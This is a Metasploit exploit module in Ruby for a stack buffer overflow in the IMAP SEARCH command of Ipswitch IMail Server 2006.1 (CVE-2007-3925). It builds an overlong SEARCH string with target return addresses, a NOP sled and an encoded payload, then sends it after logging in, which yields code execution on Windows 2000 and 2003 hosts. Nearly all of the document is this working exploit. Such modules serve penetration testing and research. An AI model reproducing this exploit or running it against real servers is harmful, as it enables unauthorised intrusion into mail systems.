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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Ipswitch IMail IMAP SEARCH Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH
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        verb. By sending an overly long string, an attacker can overwrite the
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        buffer and control program execution.
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        In order for this module to be successful, the IMAP user must have at least one
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        message.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2007-3925' ],
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          [ 'OSVDB', '36219' ],
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          [ 'BID', '24962' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00\x0a\x0d\x20\x0b\x09\x0c",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 Pro SP4 English',   { 'Ret' => 0x77f81be3 } ],
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          [ 'Windows 2003 SP0 English',       { 'Ret' => 0x77c5cee8 } ]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2007-07-18'))
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  end
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  def exploit
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    sploit =  "a002 SEARCH BEFORE " + "<" + rand_text_english(87)
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    sploit << [target.ret].pack('V') + make_nops(20) + payload.encoded + ">"
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    info = connect_login
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    if (info == true)
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      print_status("Trying target #{target.name}...")
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      sock.put("a001 SELECT INBOX\r\n")
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      sock.get_once(-1, 3)
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      sock.put(sploit + "\r\n")
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    else
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      print_status("Not falling through with exploit")
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    end
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    handler
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    disconnect
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  end
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end
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